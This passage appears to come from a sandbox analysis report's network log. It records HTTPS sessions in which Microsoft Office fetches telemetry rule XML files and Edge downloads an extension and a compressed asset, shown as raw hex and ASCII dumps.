78 24 ab 24 51 69 66 82 d7 44 e8 Data Ascii: &O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 Data Ascii: m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]
2024-10-29 05:59:29 UTC	16384	IN	Data Raw: 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 Data Ascii: P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49813	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 54a08b66-801e-008f-529b-272c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055927Z-16849878b78xblwksrnkakc08w000000059000000000g5t4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49809	152.195.19.97	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	618	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1730786365&P2=404&P3=2&P4=T4sOMIn3o8C%2fSqZm4oU891EXYnSyw4viMlBy%2fkvfV4mmtfr3TdBU6YQsenmCxcSGE%2fBCIRCxCCUntxQF9c2yyw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: UfOYo6yXhh0AvrJbn2w1O9 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:27 UTC	633	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 10108098 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Tue, 29 Oct 2024 05:59:27 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: 5880bbaa-f139-48dd-942e-a0adb04a9f4c MS-CV: Grb0Lx3ldaAxoNaTt1rCGY.0 MS-RequestId: 803a6f2d-d0c7-4dfc-9472-668c4d649ec3 Server: ECAcc (dac/9C9C) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-10-29 05:59:27 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49810	13.107.246.57	443	6632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 05:59:28 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 24 Oct 2024 19:29:56 GMT ETag: 0x8DCF4623DD70062 x-ms-request-id: 1fa8ccbb-501e-0019-2a90-28446f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241029T055927Z-16849878b78sx229w7g7at4nkg00000004f0000000000m89 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 05:59:28 UTC	15808	IN	Data Raw: 1f 8b 08 08 34 a0 1a 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: 4gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-10-29 05:59:28 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-10-29 05:59:28 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49814	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: deaa19c2-701e-006f-33de-26afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055927Z-17c5cb586f64v7xsc2ahm8gsgw00000000zg00000000e2gz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 05:59:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49812	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 05:59:27 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 05:59:27 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 05:59:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 50755ed9-801e-00ac-015e-27fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T055927Z-17c5cb586f626sn8grcgm1gf8000000004r0000000000mqx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
